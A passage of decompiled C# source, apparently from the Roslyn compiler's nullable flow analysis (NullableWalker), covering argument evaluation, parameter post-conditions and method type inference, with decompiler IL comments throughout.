VisitArgumentsEvaluate(item, refKindsOpt, GetParametersAnnotations(arguments, parametersOpt, argsToParamsOpt, expanded), defaultArguments, firstArgumentResult); + return visitArguments(node, arguments, item, item2, results, refKindsOpt, parametersOpt, argsToParamsOpt, defaultArguments, expanded, invokedAsExtensionMethod, method, delayCompletionForTargetMember); + (MethodSymbol? method, ImmutableArray results, bool returnNotNull, ArgumentsCompletionDelegate? completion) visitArguments(BoundNode boundNode, ImmutableArray arguments2, ImmutableArray argumentsNoConversions, ImmutableArray conversions, ImmutableArray immutableArray, ImmutableArray immutableArray2, ImmutableArray parameters, ImmutableArray argsToParamsOpt2, BitVector defaultArguments2, bool expanded2, bool flag2, MethodSymbol? methodSymbol, bool flag) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0323: Unknown result type (might be due to invalid IL or missing references) + //IL_01f5: Unknown result type (might be due to invalid IL or missing references) + bool item3 = false; + if (flag) + { + return (method: methodSymbol, results: immutableArray, returnNotNull: item3, completion: visitArgumentsAsContinuation(boundNode, arguments2, argumentsNoConversions, conversions, immutableArray2, argsToParamsOpt2, defaultArguments2, expanded2, flag2)); + } + if ((object)methodSymbol != null && methodSymbol.IsGenericMethod) + { + if (HasImplicitTypeArguments(boundNode)) + { + methodSymbol = InferMethodTypeArguments(methodSymbol, GetArgumentsForMethodTypeInference(immutableArray, argumentsNoConversions), immutableArray2, argsToParamsOpt2, expanded2); + parameters = methodSymbol.Parameters; + } + if (ConstraintsHelper.RequiresChecking(methodSymbol)) + { + SyntaxNode syntax = boundNode.Syntax; + SyntaxNode syntax2; + if (syntax is InvocationExpressionSyntax invocationExpressionSyntax) + { + ExpressionSyntax expression = invocationExpressionSyntax.Expression; + syntax2 = (SyntaxNode)(object)expression; + } + else if (syntax is ForEachStatementSyntax forEachStatementSyntax) + { + ExpressionSyntax expression2 = forEachStatementSyntax.Expression; + syntax2 = (SyntaxNode)(object)expression2; + } + else + { + syntax2 = syntax; + } + CheckMethodConstraints(syntax2, methodSymbol); + } + } + ArrayBuilder val = ((!IsAnalyzingAttribute && !parameters.IsDefault && parameters.Any((ParameterSymbol p) => !p.NotNullIfParameterNotNull.IsEmpty)) ? ArrayBuilder.GetInstance() : null); + ArrayBuilder instance = ArrayBuilder.GetInstance(immutableArray.Length); + if (!parameters.IsDefault) + { + ImmutableHashSet immutableHashSet = (IsAnalyzingAttribute ? null : methodSymbol?.ReturnNotNullIfParameterNotNull); + for (int num = 0; num < immutableArray.Length; num++) + { + BoundExpression boundExpression = argumentsNoConversions[num]; + BoundExpression conversionOpt = ((num < arguments2.Length) ? arguments2[num] : boundExpression); + var (parameterSymbol, parameterType, parameterAnnotations, flag3) = GetCorrespondingParameter(num, parameters, argsToParamsOpt2, expanded2); + if ((object)parameterSymbol != null) + { + bool disableDiagnostics = _disableDiagnostics; + _disableDiagnostics |= boundNode.HasErrors || ((BitVector)(ref defaultArguments2))[num]; + VisitArgumentConversionAndInboundAssignmentsAndPreConditions(GetConversionIfApplicable(conversionOpt, boundExpression), boundExpression, (conversions.IsDefault || num >= conversions.Length) ? Conversion.Identity : conversions[num], AbstractFlowPass.GetRefKind(immutableArray2, num), parameterSymbol, parameterType, parameterAnnotations, immutableArray[num], instance, flag2 && num == 0); + _disableDiagnostics = disableDiagnostics; + if (immutableArray[num].RValueType.IsNotNull || flag3) + { + val?.Add(parameterSymbol); + if (immutableHashSet != null && immutableHashSet.Contains(parameterSymbol.Name)) + { + item3 = true; + } + } + } + } + } + instance.Free(); + if (boundNode is BoundCall boundCall) + { + MethodSymbol method2 = boundCall.Method; + if ((object)method2 != null && method2.OriginalDefinition is LocalFunctionSymbol symbol) + { + VisitLocalFunctionUse(symbol); + } + } + if (!boundNode.HasErrors && !parameters.IsDefault) + { + CompareExchangeInfo compareExchangeInfo = (IsCompareExchangeMethod(methodSymbol) ? new CompareExchangeInfo(arguments2, immutableArray, argsToParamsOpt2) : default(CompareExchangeInfo)); + for (int num2 = 0; num2 < arguments2.Length; num2++) + { + var (parameterSymbol2, parameterType2, parameterAnnotations2, _) = GetCorrespondingParameter(num2, parameters, argsToParamsOpt2, expanded2); + if ((object)parameterSymbol2 != null) + { + VisitArgumentOutboundAssignmentsAndPostConditions(arguments2[num2], AbstractFlowPass.GetRefKind(immutableArray2, num2), parameterSymbol2, parameterType2, parameterAnnotations2, immutableArray[num2], val, (!compareExchangeInfo.IsDefault && parameterSymbol2.Ordinal == 0) ? compareExchangeInfo : default(CompareExchangeInfo)); + } + } + } + else + { + for (int num3 = 0; num3 < arguments2.Length; num3++) + { + BoundExpression boundExpression2 = arguments2[num3]; + VisitArgumentResult visitArgumentResult = immutableArray[num3]; + BoundExpression convertedNode = argumentsNoConversions[num3]; + TrackAnalyzedNullabilityThroughConversionGroup(TypeWithState.Create(boundExpression2.Type, visitArgumentResult.RValueType.State), boundExpression2 as BoundConversion, convertedNode); + } + } + if (!IsAnalyzingAttribute && (object)methodSymbol != null && (methodSymbol.FlowAnalysisAnnotations & FlowAnalysisAnnotations.DoesNotReturn) == FlowAnalysisAnnotations.DoesNotReturn) + { + SetUnreachable(); + } + val?.Free(); + return (method: methodSymbol, results: immutableArray, returnNotNull: item3, completion: null); + } + ArgumentsCompletionDelegate visitArgumentsAsContinuation(BoundNode node2, ImmutableArray arguments2, ImmutableArray argumentsNoConversions, ImmutableArray conversions, ImmutableArray refKindsOpt2, ImmutableArray argsToParamsOpt2, BitVector defaultArguments2, bool expanded2, bool invokedAsExtensionMethod2) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + return delegate(ImmutableArray results2, ImmutableArray parametersOpt2, MethodSymbol? method2) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + (MethodSymbol, ImmutableArray, bool, ArgumentsCompletionDelegate) tuple2 = visitArguments(node2, arguments2, argumentsNoConversions, conversions, results2, refKindsOpt2, parametersOpt2, argsToParamsOpt2, defaultArguments2, expanded2, invokedAsExtensionMethod2, method2, delayCompletionForTargetMember: false); + return (method: tuple2.Item1, returnNotNull: tuple2.Item3); + }; + } + } + + private void ApplyMemberPostConditions(BoundExpression? receiverOpt, MethodSymbol? method) + { + if ((object)method != null) + { + int num = ((!method.IsStatic) ? ((receiverOpt == null) ? (-1) : MakeSlot(receiverOpt)) : 0); + if (num >= 0) + { + ApplyMemberPostConditions(num, method); + } + } + } + + private void ApplyMemberPostConditions(int receiverSlot, MethodSymbol method) + { + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Invalid comparison between Unknown and I4 + do + { + NamedTypeSymbol containingType = method.ContainingType; + ImmutableArray notNullMembers = method.NotNullMembers; + ImmutableArray notNullWhenTrueMembers = method.NotNullWhenTrueMembers; + ImmutableArray notNullWhenFalseMembers = method.NotNullWhenFalseMembers; + if (IsConditionalState) + { + applyMemberPostConditions(receiverSlot, containingType, notNullMembers, ref StateWhenTrue); + applyMemberPostConditions(receiverSlot, containingType, notNullMembers, ref StateWhenFalse); + } + else + { + applyMemberPostConditions(receiverSlot, containingType, notNullMembers, ref State); + } + if ((int)method.ReturnType.SpecialType == 7 && (!notNullWhenTrueMembers.IsEmpty || !notNullWhenFalseMembers.IsEmpty)) + { + Split(); + applyMemberPostConditions(receiverSlot, containingType, notNullWhenTrueMembers, ref StateWhenTrue); + applyMemberPostConditions(receiverSlot, containingType, notNullWhenFalseMembers, ref StateWhenFalse); + } + method = method.OverriddenMethod; + } + while (method != null); + void applyMemberPostConditions(int receiverSlot2, TypeSymbol type, ImmutableArray members, ref LocalState state) + { + if (!members.IsEmpty) + { + ImmutableArray.Enumerator enumerator = members.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + markMembersAsNotNull(receiverSlot2, type, current, ref state); + } + } + } + void markMembersAsNotNull(int containingSlot, TypeSymbol type, string memberName, ref LocalState state) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected I4, but got Unknown + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = type.GetMembers(memberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.IsStatic) + { + containingSlot = 0; + } + SymbolKind kind = current.Kind; + switch (kind - 5) + { + default: + if ((int)kind != 15) + { + continue; + } + break; + case 1: + break; + case 0: + case 2: + case 3: + case 4: + continue; + } + int orCreateSlot = GetOrCreateSlot(current, containingSlot); + if (orCreateSlot > 0) + { + SetState(ref state, orCreateSlot, NullableFlowState.NotNull); + } + } + } + } + + private ImmutableArray VisitArgumentsEvaluate(ImmutableArray arguments, ImmutableArray refKindsOpt, ImmutableArray parameterAnnotationsOpt, BitVector defaultArguments, VisitArgumentResult? firstArgumentResult = null) + { + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + int length = arguments.Length; + if (length == 0 && parameterAnnotationsOpt.IsDefaultOrEmpty) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + bool disableDiagnostics = _disableDiagnostics; + for (int i = 0; i < length; i++) + { + _disableDiagnostics = ((BitVector)(ref defaultArguments))[i] || disableDiagnostics; + if (i == 0 && firstArgumentResult.HasValue) + { + VisitArgumentResult valueOrDefault = firstArgumentResult.GetValueOrDefault(); + instance.Add(valueOrDefault); + } + else + { + instance.Add(VisitArgumentEvaluate(arguments[i], AbstractFlowPass.GetRefKind(refKindsOpt, i), (!parameterAnnotationsOpt.IsDefault) ? parameterAnnotationsOpt[i] : FlowAnalysisAnnotations.None)); + } + } + _disableDiagnostics = disableDiagnostics; + SetInvalidResult(); + return instance.ToImmutableAndFree(); + } + + private ImmutableArray GetParametersAnnotations(ImmutableArray arguments, ImmutableArray parametersOpt, ImmutableArray argsToParamsOpt, bool expanded) + { + ImmutableArray result = default(ImmutableArray); + if (!parametersOpt.IsDefault) + { + return ImmutableArrayExtensions.SelectAsArray, ImmutableArray, bool), FlowAnalysisAnnotations>(arguments, (Func, ImmutableArray, bool), FlowAnalysisAnnotations>)((BoundExpression argument, int i, (NullableWalker self, ImmutableArray parametersOpt, ImmutableArray argsToParamsOpt, bool expanded) arg) => arg.self.GetCorrespondingParameter(i, arg.parametersOpt, arg.argsToParamsOpt, arg.expanded).Annotations), (this, parametersOpt, argsToParamsOpt, expanded)); + } + return result; + } + + private VisitArgumentResult VisitArgumentEvaluate(BoundExpression argument, RefKind refKind, FlowAnalysisAnnotations annotations) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + Optional savedState = (VisitArgumentEvaluateNeedsCloningState(argument) ? Optional.op_Implicit(State.Clone()) : default(Optional)); + Visit(argument); + return VisitArgumentEvaluateEpilogue(argument, savedState, refKind, annotations); + } + + private bool VisitArgumentEvaluateNeedsCloningState(BoundExpression argument) + { + return argument.Kind == BoundKind.Lambda; + } + + private VisitArgumentResult VisitArgumentEvaluateEpilogue(BoundExpression argument, Optional savedState, RefKind refKind, FlowAnalysisAnnotations annotations) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Expected I4, but got Unknown + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + switch ((int)refKind) + { + case 1: + Unsplit(); + break; + case 0: + case 3: + switch (annotations & FlowAnalysisAnnotations.DoesNotReturn) + { + case FlowAnalysisAnnotations.DoesNotReturnIfTrue: + if (IsConditionalState) + { + SetState(StateWhenFalse); + } + break; + case FlowAnalysisAnnotations.DoesNotReturnIfFalse: + if (IsConditionalState) + { + SetState(StateWhenTrue); + } + break; + default: + VisitRvalueEpilogue(argument); + break; + } + break; + case 2: + Unsplit(); + UseLvalueOnly(argument); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)refKind); + } + return new VisitArgumentResult(_visitResult, savedState); + } + + private void VisitArgumentConversionAndInboundAssignmentsAndPreConditions(BoundConversion? conversionOpt, BoundExpression argumentNoConversion, Conversion conversion, RefKind refKind, ParameterSymbol parameter, TypeWithAnnotations parameterType, FlowAnalysisAnnotations parameterAnnotations, VisitArgumentResult result, ArrayBuilder? conversionResultsBuilder, bool extensionMethodThisArgument) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Expected I4, but got Unknown + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_0173: Unknown result type (might be due to invalid IL or missing references) + TypeWithState rValueType = result.RValueType; + switch ((int)refKind) + { + case 0: + case 3: + { + if (conversion.Kind == ConversionKind.ImplicitUserDefined) + { + TypeSymbol type = rValueType.Type; + conversion = GenerateConversion(_conversions, argumentNoConversion, type, parameterType.Type, fromExplicitCast: false, extensionMethodThisArgument: false, conversionOpt?.Checked ?? false); + if (!conversion.Exists && !argumentNoConversion.IsSuppressed) + { + ReportNullabilityMismatchInArgument(argumentNoConversion.Syntax, type, parameter, parameterType.Type, forOutput: false); + } + } + TypeWithState typeWithState = VisitConversion(conversionOpt, argumentNoConversion, conversion, ApplyLValueAnnotations(parameterType, parameterAnnotations), rValueType, checkConversion: true, fromExplicitCast: false, useLegacyWarnings: false, AssignmentKind.Argument, parameter, reportTopLevelWarnings: true, reportRemainingWarnings: true, extensionMethodThisArgument, result.StateForLambda, trackMembers: false, null, conversionResultsBuilder); + if (CheckDisallowedNullAssignment(typeWithState, parameterAnnotations, argumentNoConversion.Syntax)) + { + LearnFromNonNullTest(argumentNoConversion, ref State); + } + SetResultType(argumentNoConversion, typeWithState, updateAnalyzedNullability: false); + conversionResultsBuilder?.Add(_visitResult); + break; + } + case 1: + if (!argumentNoConversion.IsSuppressed) + { + TypeWithAnnotations lValueType = result.LValueType; + if (IsNullabilityMismatch(lValueType.Type, parameterType.Type)) + { + ReportNullabilityMismatchInRefArgument(argumentNoConversion, lValueType.Type, parameter, parameterType.Type); + } + else + { + ReportNullableAssignmentIfNecessary(argumentNoConversion, ApplyLValueAnnotations(parameterType, parameterAnnotations), rValueType, useLegacyWarnings: false); + CheckDisallowedNullAssignment(rValueType, parameterAnnotations, argumentNoConversion.Syntax); + } + } + conversionResultsBuilder?.Add(result.VisitResult); + break; + case 2: + conversionResultsBuilder?.Add(result.VisitResult); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)refKind); + } + } + + private bool CheckDisallowedNullAssignment(TypeWithState state, FlowAnalysisAnnotations annotations, SyntaxNode node, BoundExpression? boundValueOpt = null) + { + if (boundValueOpt != null && boundValueOpt.WasCompilerGenerated) + { + return false; + } + if (IsDisallowedNullAssignment(state, annotations)) + { + ReportDiagnostic(ErrorCode.WRN_DisallowNullAttributeForbidsMaybeNullAssignment, node.Location); + return true; + } + return false; + } + + private static bool IsDisallowedNullAssignment(TypeWithState valueState, FlowAnalysisAnnotations targetAnnotations) + { + if ((targetAnnotations & FlowAnalysisAnnotations.DisallowNull) != FlowAnalysisAnnotations.None && hasNoNonNullableCounterpart(valueState.Type)) + { + return valueState.MayBeNull; + } + return false; + static bool hasNoNonNullableCounterpart(TypeSymbol? type) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + if ((object)type == null) + { + return false; + } + if ((int)type.Kind != 17 || type.IsReferenceType) + { + return type.IsNullableTypeOrTypeParameter(); + } + return true; + } + } + + private void VisitArgumentOutboundAssignmentsAndPostConditions(BoundExpression argument, RefKind refKind, ParameterSymbol parameter, TypeWithAnnotations parameterType, FlowAnalysisAnnotations parameterAnnotations, VisitArgumentResult result, ArrayBuilder? notNullParametersOpt, CompareExchangeInfo compareExchangeInfoOpt) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Expected I4, but got Unknown + //IL_0213: Unknown result type (might be due to invalid IL or missing references) + //IL_01d2: Unknown result type (might be due to invalid IL or missing references) + //IL_01d7: Unknown result type (might be due to invalid IL or missing references) + switch ((int)refKind) + { + case 0: + case 3: + LearnFromPostConditions(argument, parameterAnnotations); + break; + case 1: + { + parameterAnnotations = notNullBasedOnParameters(parameterAnnotations, notNullParametersOpt, parameter); + TypeWithState typeWithState = TypeWithState.Create(parameterType, parameterAnnotations); + if (!compareExchangeInfoOpt.IsDefault) + { + NullableFlowState defaultState = LearnFromCompareExchangeMethod(in compareExchangeInfoOpt); + typeWithState = TypeWithState.Create(parameterType.Type, defaultState); + } + BoundParameter boundParameter2 = new BoundParameter(argument.Syntax, parameter); + TypeWithAnnotations lValueType2 = result.LValueType; + trackNullableStateForAssignment(boundParameter2, lValueType2, MakeSlot(argument), typeWithState, argument.IsSuppressed, parameterAnnotations); + if (!argument.IsSuppressed) + { + FlowAnalysisAnnotations lValueAnnotations2 = GetLValueAnnotations(argument); + ReportNullableAssignmentIfNecessary(boundParameter2, ApplyLValueAnnotations(lValueType2, lValueAnnotations2), applyPostConditionsUnconditionally(typeWithState, parameterAnnotations), UseLegacyWarnings(argument)); + } + break; + } + case 2: + { + parameterAnnotations = notNullBasedOnParameters(parameterAnnotations, notNullParametersOpt, parameter); + TypeWithState rightState = TypeWithState.Create(parameterType, parameterAnnotations); + TypeWithState valueType = applyPostConditionsUnconditionally(rightState, parameterAnnotations); + TypeWithAnnotations lValueType = result.LValueType; + FlowAnalysisAnnotations lValueAnnotations = GetLValueAnnotations(argument); + TypeWithAnnotations typeWithAnnotations = ApplyLValueAnnotations(lValueType, lValueAnnotations); + if (argument is BoundLocal { DeclarationKind: BoundLocalDeclarationKind.WithInferredType } boundLocal) + { + TypeWithAnnotations typeWithAnnotations2 = valueType.ToAnnotatedTypeWithAnnotations(compilation); + _variables.SetType(boundLocal.LocalSymbol, typeWithAnnotations2); + typeWithAnnotations = typeWithAnnotations2; + } + else if (argument is BoundDiscardExpression { IsInferred: not false } boundDiscardExpression) + { + SetAnalyzedNullability(boundDiscardExpression, new VisitResult(rightState, rightState.ToTypeWithAnnotations(compilation)), true); + } + BoundParameter boundParameter = new BoundParameter(argument.Syntax, parameter); + CheckDisallowedNullAssignment(rightState, lValueAnnotations, argument.Syntax); + AdjustSetValue(argument, ref rightState); + trackNullableStateForAssignment(boundParameter, typeWithAnnotations, MakeSlot(argument), rightState, argument.IsSuppressed, parameterAnnotations); + if (!argument.IsSuppressed) + { + ReportNullableAssignmentIfNecessary(boundParameter, typeWithAnnotations, valueType, UseLegacyWarnings(argument)); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + if (!_conversions.HasIdentityOrImplicitReferenceConversion(parameterType.Type, typeWithAnnotations.Type, ref useSiteInfo)) + { + ReportNullabilityMismatchInArgument(argument.Syntax, typeWithAnnotations.Type, parameter, parameterType.Type, forOutput: true); + } + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)refKind); + } + static TypeWithState applyPostConditionsUnconditionally(TypeWithState result2, FlowAnalysisAnnotations annotations) + { + if ((annotations & FlowAnalysisAnnotations.MaybeNull) != FlowAnalysisAnnotations.None) + { + return TypeWithState.Create(result2.Type, NullableFlowState.MaybeDefault); + } + if ((annotations & FlowAnalysisAnnotations.NotNull) == FlowAnalysisAnnotations.NotNull) + { + return TypeWithState.Create(result2.Type, NullableFlowState.NotNull); + } + return result2; + } + static TypeWithState applyPostConditionsWhenFalse(TypeWithState result2, FlowAnalysisAnnotations annotations) + { + bool flag = (annotations & FlowAnalysisAnnotations.NotNullWhenFalse) != 0; + bool flag2 = (annotations & FlowAnalysisAnnotations.MaybeNullWhenTrue) != 0; + if ((annotations & FlowAnalysisAnnotations.MaybeNullWhenFalse) != FlowAnalysisAnnotations.None && !(flag2 && flag)) + { + return TypeWithState.Create(result2.Type, NullableFlowState.MaybeDefault); + } + if (flag) + { + return TypeWithState.Create(result2.Type, NullableFlowState.NotNull); + } + return result2; + } + static TypeWithState applyPostConditionsWhenTrue(TypeWithState result2, FlowAnalysisAnnotations annotations) + { + bool flag = (annotations & FlowAnalysisAnnotations.NotNullWhenTrue) != 0; + bool num = (annotations & FlowAnalysisAnnotations.MaybeNullWhenTrue) != 0; + bool flag2 = (annotations & FlowAnalysisAnnotations.MaybeNullWhenFalse) != 0; + if (num && !(flag2 && flag)) + { + return TypeWithState.Create(result2.Type, NullableFlowState.MaybeDefault); + } + if (flag) + { + return TypeWithState.Create(result2.Type, NullableFlowState.NotNull); + } + return result2; + } + static bool hasConditionalPostCondition(FlowAnalysisAnnotations annotations) + { + if (!(((annotations & FlowAnalysisAnnotations.MaybeNullWhenTrue) != 0) ^ ((annotations & FlowAnalysisAnnotations.MaybeNullWhenFalse) != 0))) + { + return ((annotations & FlowAnalysisAnnotations.NotNullWhenTrue) != 0) ^ ((annotations & FlowAnalysisAnnotations.NotNullWhenFalse) != 0); + } + return true; + } + FlowAnalysisAnnotations notNullBasedOnParameters(FlowAnalysisAnnotations result2, ArrayBuilder? val, ParameterSymbol parameterSymbol) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!IsAnalyzingAttribute && val != null) + { + ImmutableHashSet notNullIfParameterNotNull = parameterSymbol.NotNullIfParameterNotNull; + if (!notNullIfParameterNotNull.IsEmpty) + { + Enumerator enumerator = val.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (notNullIfParameterNotNull.Contains(current.Name)) + { + return FlowAnalysisAnnotations.NotNull; + } + } + } + } + return result2; + } + void trackNullableStateForAssignment(BoundExpression parameterValue, TypeWithAnnotations targetType, int targetSlot, TypeWithState parameterWithState, bool isSuppressed, FlowAnalysisAnnotations annotations) + { + if (!IsConditionalState && !hasConditionalPostCondition(annotations)) + { + TrackNullableStateForAssignment(parameterValue, targetType, targetSlot, parameterWithState.WithSuppression(isSuppressed)); + } + else + { + Split(); + LocalState state = StateWhenFalse.Clone(); + SetState(StateWhenTrue); + TrackNullableStateForAssignment(parameterValue, targetType, targetSlot, applyPostConditionsWhenTrue(parameterWithState, annotations).WithSuppression(isSuppressed)); + LocalState whenTrue = State.Clone(); + SetState(state); + TrackNullableStateForAssignment(parameterValue, targetType, targetSlot, applyPostConditionsWhenFalse(parameterWithState, annotations).WithSuppression(isSuppressed)); + SetConditionalState(whenTrue, State); + } + } + } + + private void LearnFromPostConditions(BoundExpression argument, FlowAnalysisAnnotations parameterAnnotations) + { + bool flag = (parameterAnnotations & FlowAnalysisAnnotations.NotNullWhenTrue) != 0; + bool flag2 = (parameterAnnotations & FlowAnalysisAnnotations.NotNullWhenFalse) != 0; + bool flag3 = (parameterAnnotations & FlowAnalysisAnnotations.MaybeNullWhenTrue) != 0; + bool flag4 = (parameterAnnotations & FlowAnalysisAnnotations.MaybeNullWhenFalse) != 0; + if (flag3 && flag4 && !IsConditionalState && !(flag && flag2)) + { + LearnFromNullTest(argument, ref State); + } + else if (flag && flag2 && !IsConditionalState && !(flag3 || flag4)) + { + LearnFromNonNullTest(argument, ref State); + } + else if (flag || flag2 || flag3 || flag4) + { + Split(); + if (flag) + { + LearnFromNonNullTest(argument, ref StateWhenTrue); + } + if (flag2) + { + LearnFromNonNullTest(argument, ref StateWhenFalse); + } + if (flag3) + { + LearnFromNullTest(argument, ref StateWhenTrue); + } + if (flag4) + { + LearnFromNullTest(argument, ref StateWhenFalse); + } + } + } + + private (ImmutableArray arguments, ImmutableArray conversions) RemoveArgumentConversions(ImmutableArray arguments, ImmutableArray refKindsOpt) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + int length = arguments.Length; + ImmutableArray item = default(ImmutableArray); + if (length > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(length); + bool flag = false; + for (int i = 0; i < length; i++) + { + RefKind refKind = AbstractFlowPass.GetRefKind(refKindsOpt, i); + BoundExpression boundExpression = arguments[i]; + Conversion conversion = Conversion.Identity; + if ((int)refKind == 0) + { + BoundExpression boundExpression2 = boundExpression; + (boundExpression, conversion) = RemoveConversion(boundExpression, includeExplicitConversions: false); + if (boundExpression != boundExpression2) + { + SnapshotWalkerThroughConversionGroup(boundExpression2, boundExpression); + flag = true; + } + } + instance.Add(boundExpression); + instance2.Add(conversion); + } + if (flag) + { + arguments = instance.ToImmutable(); + item = instance2.ToImmutable(); + } + instance.Free(); + instance2.Free(); + } + return (arguments: arguments, conversions: item); + } + + private static VariableState GetVariableState(Variables variables, LocalState localState) + { + return new VariableState(variables.CreateSnapshot(), localState.CreateSnapshot()); + } + + private (ParameterSymbol? Parameter, TypeWithAnnotations Type, FlowAnalysisAnnotations Annotations, bool isExpandedParamsArgument) GetCorrespondingParameter(int argumentOrdinal, ImmutableArray parametersOpt, ImmutableArray argsToParamsOpt, bool expanded) + { + if (parametersOpt.IsDefault) + { + return default((ParameterSymbol, TypeWithAnnotations, FlowAnalysisAnnotations, bool)); + } + ParameterSymbol correspondingParameter = Binder.GetCorrespondingParameter(argumentOrdinal, parametersOpt, argsToParamsOpt, expanded); + if ((object)correspondingParameter == null) + { + return default((ParameterSymbol, TypeWithAnnotations, FlowAnalysisAnnotations, bool)); + } + TypeWithAnnotations typeWithAnnotations = correspondingParameter.TypeWithAnnotations; + if (expanded && correspondingParameter.Ordinal == parametersOpt.Length - 1 && typeWithAnnotations.IsSZArray()) + { + typeWithAnnotations = ((ArrayTypeSymbol)typeWithAnnotations.Type).ElementTypeWithAnnotations; + return (Parameter: correspondingParameter, Type: typeWithAnnotations, Annotations: FlowAnalysisAnnotations.None, isExpandedParamsArgument: true); + } + return (Parameter: correspondingParameter, Type: typeWithAnnotations, Annotations: GetParameterAnnotations(correspondingParameter), isExpandedParamsArgument: false); + } + + private MethodSymbol InferMethodTypeArguments(MethodSymbol method, ImmutableArray arguments, ImmutableArray argumentRefKindsOpt, ImmutableArray argsToParamsOpt, bool expanded) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol constructedFrom = method.ConstructedFrom; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (argumentRefKindsOpt != null) + { + instance.AddRange(argumentRefKindsOpt); + } + OverloadResolution.GetEffectiveParameterTypes(constructedFrom, arguments.Length, argsToParamsOpt, instance, isMethodGroupConversion: false, allowRefOmittedArguments: true, _binder, expanded, out var parameterTypes, out var parameterRefKinds); + instance.Free(); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + MethodTypeInferenceResult methodTypeInferenceResult = MethodTypeInferrer.Infer(_binder, _conversions, constructedFrom.TypeParameters, constructedFrom.ContainingType, parameterTypes, parameterRefKinds, arguments, ref useSiteInfo, new MethodInferenceExtensions(this)); + if (!methodTypeInferenceResult.Success) + { + return method; + } + return constructedFrom.Construct(methodTypeInferenceResult.InferredTypeArguments); + } + + private ImmutableArray GetArgumentsForMethodTypeInference(ImmutableArray argumentResults, ImmutableArray arguments) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + int length = argumentResults.Length; + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + for (int i = 0; i < length; i++) + { + VisitArgumentResult visitArgumentResult = argumentResults[i]; + Optional stateForLambda = visitArgumentResult.StateForLambda; + TypeWithAnnotations argumentType = visitArgumentResult.RValueType.ToTypeWithAnnotations(compilation); + instance.Add(getArgumentForMethodTypeInference(arguments[i], argumentType, stateForLambda)); + } + return instance.ToImmutableAndFree(); + BoundExpression getArgumentForMethodTypeInference(BoundExpression argument, TypeWithAnnotations typeWithAnnotations, Optional lambdaState) + { + if (argument.Kind == BoundKind.Lambda) + { + return getUnboundLambda((BoundLambda)argument, GetVariableState(_variables, lambdaState.Value)); + } + if (!typeWithAnnotations.HasType) + { + return argument; + } + if (argument is BoundLocal { DeclarationKind: BoundLocalDeclarationKind.WithInferredType } || IsTargetTypedExpression(argument)) + { + return new BoundExpressionWithNullability(argument.Syntax, argument, NullableAnnotation.Oblivious, null); + } + return new BoundExpressionWithNullability(argument.Syntax, argument, typeWithAnnotations.NullableAnnotation, typeWithAnnotations.Type); + } + static UnboundLambda getUnboundLambda(BoundLambda expr, VariableState variableState) + { + return expr.UnboundLambda.WithNullableState(variableState); + } + } + + private void CheckMethodConstraints(SyntaxNode syntax, MethodSymbol method) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + if (_disableDiagnostics) + { + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilder useSiteDiagnosticsBuilder = null; + ConstraintsHelper.CheckMethodConstraints(method, new ConstraintsHelper.CheckConstraintsArgs(compilation, _conversions, includeNullability: true, NoLocation.Singleton, null, CompoundUseSiteInfo.Discarded), instance, instance2, ref useSiteDiagnosticsBuilder); + Enumerator enumerator = instance2.GetEnumerator(); + while 